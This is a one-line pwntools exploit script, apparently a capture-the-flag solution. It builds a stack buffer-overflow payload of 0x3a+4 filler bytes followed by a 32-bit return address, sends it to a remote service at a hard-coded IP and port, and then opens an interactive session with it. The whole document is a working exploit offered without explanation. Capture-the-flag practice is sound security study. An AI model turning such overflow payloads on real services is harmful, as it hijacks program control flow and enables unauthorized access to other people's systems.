from pwn import * pld = 'A' * (0x3a + 4) + p32(0x080491E2) p = remote("159.65.68.241", 10003) p.sendline(pld) p.interactive()